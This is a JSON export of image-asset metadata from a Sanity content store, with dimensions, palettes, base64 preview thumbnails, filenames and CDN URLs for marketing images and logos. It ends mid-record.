{"_createdAt":"2022-09-30T15:36:48Z","_id":"image-d247849642fa9a6e246d4733aa3b9f5c6f9bedd4-2942x1626-png","_rev":"8WeirZ6KB9gJqgJfviQ8YZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:48Z","assetId":"d247849642fa9a6e246d4733aa3b9f5c6f9bedd4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MrKe1U~q_3%May_4IUM{Rjay?bM{M{WBj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8093480934809347,"height":1626,"width":2942},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABsUlEQVQokXWQ7W7SYBTHezPy0pa2T9+mA3Vx0XARmCIgmhk/mHgJGgzqVRjjfayj6yD4SeNHNzdNBNrnvQ+jTE1h4pT5zy/nyzm/nJwjjSD7NmFfx2wMGSacMMG4oHxKuSAsgZhGiEQQRxBDRGJEICKYckwZ5UIax3QSk0mctaMYRTGKIYaYIExRNn3uIEwp45RxktWE8oSLqTSJGcKUEIIJ+T4affj4aS8I/V7g7+37fm83I9j1g14Q9gfDwfD9wWAYhP1eEAZhXyIkSRJxmmV2fHLy5u27x0+e3ms99Brtu/VWrd6sea2a1/Qa95vtndaDR432Tn3R9RptCRORiOksTdP52efDo0739dZ21bCvlYAra1axZC6RNUs1HBW4quEour1ESsTsdJam8/l8IT9/8fLGrarplg17U9bslXwBq7CoRc2Szn78yUq2Nq6bbkXR7YIK8solFFRQLJnSz985lzvdytZt4JRNt6zodk7WrxS1dXKynleMf+VnF2RZ+6+89C/dfAc4ZeBkN+cVIyfr6+QVo6CCv+TDoy+d7qub21X7agU4myXgrh67jmo4vwAnbWnSUmUCIAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4448","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#606024","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4448","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d4b4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4e2","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7ab8","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b846","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d247849642fa9a6e246d4733aa3b9f5c6f9bedd4-2942x1626.png","path":"images/sczeoy4w/production/d247849642fa9a6e246d4733aa3b9f5c6f9bedd4-2942x1626.png","sha1hash":"d247849642fa9a6e246d4733aa3b9f5c6f9bedd4","size":225354,"uploadId":"Et4SB4bVNyCTvvYUcrjKPshXjFiJBJBA","url":"https://cdn.sanity.io/images/sczeoy4w/production/d247849642fa9a6e246d4733aa3b9f5c6f9bedd4-2942x1626.png"} {"_createdAt":"2022-06-30T20:11:21Z","_id":"image-d24916db4f0cf7de38f19f2815526b2ec59e7712-1811x826-png","_rev":"vDQRRYe9nRreptIRp5kASa","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:59Z","assetId":"d24916db4f0cf7de38f19f2815526b2ec59e7712","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M02iLnyGNOp2yG-*MtMuMui@o*tVtokap1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.192493946731235,"height":826,"width":1811},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABa0lEQVQokW2R6XLcIBCE5WQvSYDEIW6JleSNnYrf//XaxXjt8pbz44OpYmi6hybmFS4WGJfBxwktkxiUw1xu2P+8oWx/4dIG42YomzCagEH7H8gpUk9TF2kiiZ1agd+nnkSnUJCvL0jrK8Jyg41XaLdA2fxfjF9gQkEzmAwuHYlUsadDi3M3UlOYnxHLjQjLM1zeCJ93+Hvt7lQD0uYqmEiQS4uOKxwvAi1TZL9eCvP+Rb1o00YjcGn9wqYV2s0QyqMZTYSQDpqsJ/RCoxeGIlQn313USNW5nNIPBh3IGAmOOsDFK3xaqeajpRcdCVZq3B3aFww6fiQaLdidz4S1buoP1Xhx2RHyBjXVEVgI7TBWN65AuQJtZyhK48EHi55rmvullzSilivaG2kXGF9g/AwhLTWduwGnfsCJKZy5wYUb9EyBMUl7149oO4HjheNwZg80dvkHk25g0lFD/elH2J0eh298nv86dg+8Azi+3Uwz1eMjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c8c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9a0a4","foreground":"#000","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9a0a4","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cacfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7c6c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c6ce4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d24916db4f0cf7de38f19f2815526b2ec59e7712-1811x826.png","path":"images/sczeoy4w/production/d24916db4f0cf7de38f19f2815526b2ec59e7712-1811x826.png","sha1hash":"d24916db4f0cf7de38f19f2815526b2ec59e7712","size":187120,"uploadId":"O1NadN8V4zA2QNqmuKmKbZjO7exHiEaB","url":"https://cdn.sanity.io/images/sczeoy4w/production/d24916db4f0cf7de38f19f2815526b2ec59e7712-1811x826.png"} {"_createdAt":"2024-08-05T08:47:59Z","_id":"image-d284c1e3dfcadf6f2fb0caef21173a51d30f57a0-1898x1202-png","_rev":"YaKEzcVhnb7P0fmfvP2MlY","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:47:59Z","assetId":"d284c1e3dfcadf6f2fb0caef21173a51d30f57a0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7Ss1[M{M{oMtRK6Tda{MytR00IAx]xuRj?^NHs.xGV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.579034941763727,"height":1202,"width":1898},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkklEQVQokY2SyY7UMBBA8/8/BxygNUJDd3qGLI73vapsBzkdoQYkNE8l25fnWlTDNM33t/fx/v79On+6LC/XbVrluqmF9ViZ4pvcmFhmxpbNO1eIkNAGzyUf2CbmlS+MLxufVsG4lEJKzvuptFRaK2OkUWwT0+S1Koi1NSAMMQ7aOGmC9sFGH3KMOUarE2fR6P6GlCBDhmitWlcjNoixEtXSGXxINkDICERUSg9IxTvKiWqhVkqrtRTwXi1LTy44OFdTaohDTNn5FBPWWttJbbUrbW9H7K2U7NxDtpyDs6ecUrLGOusIsQutC/uftFpTjFIIyYV3HgEeBQ0xJiOEWuZodIacCanSvz4RpQMi+l3jEGN2UrnpZ5A8pBAgAWFt9S+55z84+jgZEAkBKMYCmUqfY2292/0DDKWU879+7R/UnuRSdoT9GNg54Of4j5yczc6CFLAxFByNBu8geAwBgu+P1Lfi0fAztdZBjlc5XsWPV3n5Zr581pev4voqx5t6G+X9JsabmSfwfaWPpTohIkD8BUId8Lf7JfcxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353535","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e4cb4","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0a5a4","foreground":"#000","population":0.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a5a4","foreground":"#000","population":0.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cb8ed","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b36963","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef4341","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-continuous-query.png","path":"images/sczeoy4w/production/d284c1e3dfcadf6f2fb0caef21173a51d30f57a0-1898x1202.png","sha1hash":"d284c1e3dfcadf6f2fb0caef21173a51d30f57a0","size":98755,"uploadId":"emp8xfS9N3E8xQN9yF87KjmdYYy1NWz9","url":"https://cdn.sanity.io/images/sczeoy4w/production/d284c1e3dfcadf6f2fb0caef21173a51d30f57a0-1898x1202.png"} {"_createdAt":"2024-05-02T16:47:19Z","_id":"image-d2961e219c09f08938fc45419fac661cc8249cf6-1200x630-png","_rev":"ExhY8p4wg22kec3o1u3xqc","_type":"sanity.imageAsset","_updatedAt":"2024-05-02T16:47:19Z","assetId":"d2961e219c09f08938fc45419fac661cc8249cf6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBByd|1C#lOw+WWQTN}h0-xuxGMwJ:w[$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADEElEQVQokSXRXU9bBQCA4f4DLxQYDFqgh7LSjzPaclrWAe1paQullq9CC7SdDEqhLYW2IATqBt346ICRTRMWjWbZXBxxOHVDY4zeLBoTb0g0Xhg18cJL/8JrNv/Ae/G8iteqhnn9/CgVdWNUqaKcq3+LStUUb9RNU6GcpVKVoaphkXPqJWqEVeq0JTTmIwyXT7DJJ0wP7vAoE+eXzT7+ve1EUamMcEFMYJTSXLRmMV3KozPnEAwLqPU51PplBMMqKu3qq2Bt8wZC63vo7Z9ilZ8SCx5wlEjwYm2Qv3Z8KOqEGHZnHm+gSGC4xEB4B0/gBl2eDRy+m8i9uzh7biHaStS3FKnXldCY3kVvf4zZ8RkB712ujWV5lI7xdHEMhbIpTodrCf/AdQbD24Rj+/SPlPEFt+npLxMIHRII3cHZu88l1x727ju0uz+gTf4Ei+MYV+dt5nsy3Bi6Si6YRXG+MYrUsYDTu4LTt4an7zqeQAmHb5PO7hJyzy4u/x4u/wGeN+/iH36f3uGHuIJP6PY/ZtJ9jbJrkLJrgFRH4n9D7cUEopTGKGUQpUVaTIsI+gXUuhzCS0PjKk1ikWbTJq32A2T/A/wjzwlHPmdr8G2e+Wwcu6zsdgVRVDdMIEopbF05pI48FnuBZjFLTePsq8tVqgx1QhaNdhGtbgmDZQtn78cMxb4jfvV71kb3edAb4H63h6LjysvgOCZrmstygXbHEm0dS4hSAbUuS3Vjmlr1PFbTHOPuKWb7pogG1gmFj4kmf2Qy9TPjkS+Jew+54r5Fn/MeioqaEC3NE5jNM4hSBp15Hr0lh95cQDAU0BrzDMkzHMRGeTI/wIfZDIXUMcncGbOFX+mfeEF79ylt8ilm+SsUFdVDaFQh9C1xLohJmgxzaFsXMErL6C0riG0rhL0pPkqGONvo4YebCfbWTygUfydf/JORyZ+web/BJH+NyfkcRZUyQm19BKU6irJpEqVmmgbtHII+i2DIozEu4+3McjQzzh9lP78dJrm39Yx3tv9mffsf4qkzugLfYvWcIrm/4D/BKb4TR7mdSQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4473","foreground":"#fff","population":1.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c047c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4473","foreground":"#fff","population":1.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94be","foreground":"#fff","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb467","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06866","foreground":"#fff","population":0.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24c10","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Google Cloud Germany Summits 2024.png","path":"images/sczeoy4w/production/d2961e219c09f08938fc45419fac661cc8249cf6-1200x630.png","sha1hash":"d2961e219c09f08938fc45419fac661cc8249cf6","size":259555,"uploadId":"Tepwikafce2RauXczyifLxYnjhlCeMYl","url":"https://cdn.sanity.io/images/sczeoy4w/production/d2961e219c09f08938fc45419fac661cc8249cf6-1200x630.png"} {"_createdAt":"2023-11-10T08:55:29Z","_id":"image-d2a6a7d674935013759453c36659601f98edb76e-1200x628-png","_rev":"tCCq0oy69ssaoA8YOJyLNs","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:55:29Z","assetId":"d2a6a7d674935013759453c36659601f98edb76e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69%=900-f-:00~p4oxt%L9b00?EV[N3?Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqUlEQVQokT2S20+SARyGv7+gzQxE+JAA4UMFxY8QAVHKI2ScNC07rFo6TdNKMA8cRUWl8LDaWrZu0lpbbY666qJVF627/qSnwUUXv7v39+zdnleoORfFcnYQT81F/JWr7UNWRhA1d1A0zKDUzVOnf4zKmEDduILGnEaSC3QPPKc3kME/kMbZvYW+JUN94wpCjSKGURXGoQnh1kbw6EZo19/EaJpGJy2gsyyilRKoTUvVB701R2j8NcnsMfGlAkvLz4ivvKNn6ABRSiGcrR/D3HyXDtcDvN55fF1P8Pqe4u5J4vZncfWsI3vXaXFm0bekaXPvkMqXKX/5ztHRESfvP1D++pvphY8YbFsISu117J0PuRRcpX84zcCVHIPhTQKRbYLRIpdjJQLRfS4GS7R2buHyP6e4/42fP/9wcnLM6ekpP379ZXG1jFkuIdQ1TOD0LhAIpwlGsgQieYZjBUKjRcJjJSLjh4SuHlaB1o4NrB0FJueOefnqE3t7L3jx8g2lw89EJ95iaH2GoGy4juyZZzCUIhDJMhRe53KsQDC6w1B4l/7hIr7+bezuPAZrGl1zFtm7w3Bsh4nbea7d2qA3uIlFzqO1bCAoxGvY5Gl8lxL4+pbx9a3iH0jR1ZviQleSVlcKyb6GrqlieBWtJYNFLiB7d3H6NrF1ZDBYk4hSEo05hXCufhSpcQK7fRKrYxZL2yw2xwxO7yz2zgSSfblqud6YqFrWNWWxuYq4/Ae0e3aR2nPV5g2WNdSmNYRaZRSjdoQm6RaNLZOIpvsYmu8iu6dweOJVoMYUr+6wAqw0NLVt0eTYxmzPcb55DVGqZJZRVxqeUcSorRtBoRlHob1BrXgbhe4eGtMUWvMcauMjVIYn/4GVYYtSDtFcGfJTVMY4dYZFVMYlNFKGf2o5gd0VTQ3zAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454877","foreground":"#fff","population":1.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbeb","foreground":"#000","population":10.19,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7681c5","foreground":"#fff","population":0.75,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#716f8b","foreground":"#fff","population":4.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4ab31","foreground":"#000","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Avaya Chris Hill Social Card 3.png","path":"images/sczeoy4w/production/d2a6a7d674935013759453c36659601f98edb76e-1200x628.png","sha1hash":"d2a6a7d674935013759453c36659601f98edb76e","size":238016,"uploadId":"dhtDeJ15rpH0LyG5pxLKadvw4lxbJXKy","url":"https://cdn.sanity.io/images/sczeoy4w/production/d2a6a7d674935013759453c36659601f98edb76e-1200x628.png"} {"_createdAt":"2022-09-02T16:55:30Z","_id":"image-d2f990b3a1241ac5f93804ade186f3ba7a075181-800x800-png","_rev":"EU2LgqOF5HzqTxO9PWeBlA","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:55:30Z","assetId":"d2f990b3a1241ac5f93804ade186f3ba7a075181","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAC$?B8|4,S]$=DP-oI:4.xs4m%EEY%iDu?7xuksNIxb4WM}M{D%?Y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFeklEQVQ4jYWUC0yTVxTHb2l5i1oBcU43EKIwiZtlPCxd+UrpV/qgfP149EEBBZFXCxSGBlDLS3AEFRUFBJzEgRJgbAthmjjZML7BTXQTEBTbAvIBM2YZTLd+d2m7LFlm4kn+OSfn3PO7597kXkAQBJienga/3jwO4HEAfv86Fiz1RILlbhQs9fApSz18h6Uevr05tuYEYGZmxtJj9jP/yMwxGo3AYlQbKrC1pQMX53fBBndvCgCeoFkTYjPVyl1BfBHhZvic69K+D7Fx9IwDCXEKSpRYaZFIJKegqBRwOHzAZDLB9u3+ANjRAKBRzVgaAMAJrHJebdkEjskd4GD0GnhTugrCHCqwWQ/CORyA8kUARYWAzxcCFBUALpcHEIQDWCwWCAoOtMJoVArFlmbrQKU60NfSV7kncT03VKj8fAtjNm8O/WDt+hVOLm6ent5uCBLuJhSK3QQCscVHRorceBEoHUE49uYJAwIY1iObYa70D0O8NgjzArcqyvghiVVIgKp225aEQz6eilIfL6UukJGuwyQlOlVCuU6VUKZTJZTq5PKSUgxTa1BUFsBkMu2cna08YGNjv9pro0jDYhwYkYafWcAjzs+jn5xfYIe0zbOCzhKs4FaCx2kjlLIuIivjK0KT/SWRndVD7Elrn1coaoYEgrTdgYEfu/B4DABoNgB40F1cg/1V+3Fu61xy9C2oiHoIccEIjBX9CGOjhqCEfwuK0OtQHnMDqjPvwL0Fd2FhwW2oVl+FKlWLXiDQ5O/YscN6+SsdAWD7e7jzglMPxqKdswmSR1AmfvpXvHjclLlrwlRa/NSkzR41qWQ/mRLlw6a0lGGTNueeqSB/2JSV+QNUKs/qMaygSKfTbXz58je6BfqRt6t7yLbdBwVh3c/jRaMwXjxJxolHydyMCXiuZQZ2dszAptNT8HDlGMxIG4IpO2+S6qw7ZFraAJTJmmeUyuKqzs7OAIIg/CxAZ0cnVz+f1JKI0O7ZOOEYlImfmGJFo2Ri3Cg8pHsKL/XPw2uDi7Cp4QnclXQH4tggmZx0ndyZfAXieOO0UlFc09vby1xYWHzfAqTRHNZs2ZRaHBHaNRsnHIUy8aQFKI18SO5JfkSeazGSFzuMZH7ufVIivEYK0Kskjn1PyuIvQwxrmFWp9h9rb29nvH5tcgLuHo6ASrVb4+udWswL7ZmNF41DWdSUKU40TkoFv5DKmJ/Jok8fk0WFo2Q8fpfkc6+RaMQAKeAPkFHifigSnXoeE7O3prq62htCSLFM6OTk4rp5U1IJJ+T8cyk6DPHIERLjD0MJehtGoTcgLr4O8ahBKOBdgRGcb2F4WB/khH1DcpCLkMU6bAgKStyHIIirBXbv3n3H9PRMn9AQVSXC1BkE4WdeCbmtS5HhZ5ZRTsMyDzm1zA07uRweVrfMYR9dRti1y0hYzR9I2Gev2OzyP5lMzRM2W1ai1eZ7DQ3ddwB9ff1udXUnAlNSNFocy2jDsdzuGCyvC8dyu6TROV2YRN2NRVsVLcnqwqXqXoU8/1JiYuFVlapgQCbLvJCenquprz/N6Ovrp4OOjouOpxsa15WVlftptdrtmhw1IydHzTB7jUbNUGuy/43z8nIDKior2I1NjZK2tjZ5S0szXlVdFVpRUenb0NjkceFCpwPY4rcVFJccAGNjCxQIIXiL7BcXX7wzNzfvNzdH+C8uvlgHIaR9NzACysorwHuem6xvee++IrDwgrA0vcnM+fLSWjA5Oen87Jl+o15v8NXr9V4TE5NO5tr44zGwK2W3dfGJE/Xg6LE6cOTIMVB75Oj/1NzcagE+ePAA6PV6O4PBuNJoNNINBoPL1NQU1Vy7dPmyZe3J+lNvHOg/Zv7W36bpaas32990er2dAi4vDwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c3a","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d3e0c","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b7bc","foreground":"#000","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b7bc","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b4cef","foreground":"#fff","population":0.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#524e94","foreground":"#fff","population":0.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c2ccc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"devops-terraform.png","path":"images/sczeoy4w/production/d2f990b3a1241ac5f93804ade186f3ba7a075181-800x800.png","sha1hash":"d2f990b3a1241ac5f93804ade186f3ba7a075181","size":17794,"uploadId":"m2NOKtcmkNsiuPBG5rzdwt41opXZyukz","url":"https://cdn.sanity.io/images/sczeoy4w/production/d2f990b3a1241ac5f93804ade186f3ba7a075181-800x800.png"} {"_createdAt":"2022-08-25T13:21:29Z","_id":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_rev":"eLm41tjv1TKDff3CraBrSt","_type":"sanity.imageAsset","_updatedAt":"2022-08-25T13:21:29Z","assetId":"d318221bd7c9549b4d2dcde4c55457d9b5c6119b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":56,"width":56},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADk0lEQVQ4jX1VTS+kaRQtCz9g+kdM72a899YXVahBhPIVi4ogbAg6oiIsJCRE19gqsaISkbCxGJNYkGDa10piMyMhYSzQXZSvdEUYBPdOzttPddOZmsWTqlSee55zzz33lMOyLAcR2YeZM4joDRH9QkS/EtEqEcWJ6I6Z/2HmT8z8gZnfM3PA3M1wuVx2PbC+ghFRJhG9JaJ3RPQ7Ee0TUZKZH5j5mYhwHizL+mxZ1h4RzZq7b1GblZUFQg4Hvhiwnw2rv5j5lpkVh4js43Q6NScnRwsLCzUQCKjb7b7FXfpSg9rMFMMM80qEiP5m5icDJMwsLpdLfD6fBINBCYfDMjo6KpFIRCoqKvDgk6lB7Y/Achgd3pnXcEFwPB6P5OXlaXFxsYRCIRkYGJCVlRWJx+O6sbEhbW1t4na7cRcE/iSiNmA5zACgh91mdnY2XpfGxkatra2Vmpoa7e3t1eXlZb28vNREIiFzc3Pa3NxsP0pEYHprMAIQMsLMGAB0kfr6eonFYjo9PS2dnZ3a3d2t8/PzenZ2pkdHRzozM4PfpLq6Wr1er92NkQiDeg/AFWbG5DQ3Nxf66N7enmxvb+vExIQuLCzo+fm5otWpqSkF88rKSi0rKxOv15vSGp+fiegDWoa3YAdMT0ZGRiSRSOjV1ZUeHBxoMpnUx8dH3dra0o6ODvX7/VpSUqLl5eU2Q8uyUoAPRPQRgDDscwowGo3agCKi9/f3enNzo3d3d7q7u6t9fX22ZdIAPgPLYbbgFSD0enp60v39fV1aWtKdnR29uLjQ2dlZDEqDwSBaTgsYf9lyCvD09FTHx8e1paXF/jw5OYG2OjQ0pKFQ6CsgfdMQLX8CIIaSBKDf75f+/n4wEmgWDofV5/NpU1OTrq+v27ouLi5qV1eXwlrphhJJ2QZbARMPDw9rLBYTsMvPz9fS0lKNRqN6eHiox8fHOjk5KXV1dWp8KK9skzJ2an9xyWwHWpOqqiqwsdmura3p9fW1bG5uant7+/fG/s02drrVMzusRUVFAs81NDTI2NiYYNqrq6vS2tr6avWYuY2Z3yDD0oYDjtPphFZSUFCAdZTBwUHp6ekRyGDCYR/5iHBAnjqcTufL+ALof8aXkQPbZJvb5XKhTTAD2E8G40vAmsR9GbBYdLz8fwELzVoNs0yEqx2wCEV8MUxf/gWA7Qq8BcOajfrIzH8w8yAz5xPRD6jxeDw2Bhj+C9D8va3/azZTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":42.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":42.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebebe","foreground":"#000","population":1.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787878","foreground":"#fff","population":0.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-karapace.svg","path":"images/sczeoy4w/production/d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56.svg","sha1hash":"d318221bd7c9549b4d2dcde4c55457d9b5c6119b","size":682,"uploadId":"anaK08FIn4FJcnUYDmTU8kSaZv17supp","url":"https://cdn.sanity.io/images/sczeoy4w/production/d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56.svg"} {"_createdAt":"2022-06-16T22:54:05Z","_id":"image-d32121be81658467e03f415916341096021a611c-342x96-png","_rev":"0HOthdQkSgJdYc0C9vxXg1","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:05Z","assetId":"d32121be81658467e03f415916341096021a611c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5625,"height":96,"width":342},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsSAAALEgHS3X78AAAAvUlEQVQYlY3RTUuCURAF4KesKKQstRZSi6A2SkUJkuBKF61qk1otigQziJbR74+pUV6iRQcOlzlnPi4z/KCUXMY61vyNJf9EFYc4wD72sI0a6skGjtKvYKfgbWGlOPUYQzzgBle4zjh4i3tMMcIg/SHG6GfjRcMmnrPgEU94wyc+MMME73jFS/rxhnaXP19gF6c4wzku0EY3GXoMDf0SPXRwknktbP5edhwk9lDGRuFQoYUXnMerhSPO877xBRGVESZp7rbZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-inventure.png","path":"images/sczeoy4w/production/d32121be81658467e03f415916341096021a611c-342x96.png","sha1hash":"d32121be81658467e03f415916341096021a611c","size":1939,"uploadId":"OtWDJq0FJkjPbHsFmq7qgH8Z8wILK47w","url":"https://cdn.sanity.io/images/sczeoy4w/production/d32121be81658467e03f415916341096021a611c-342x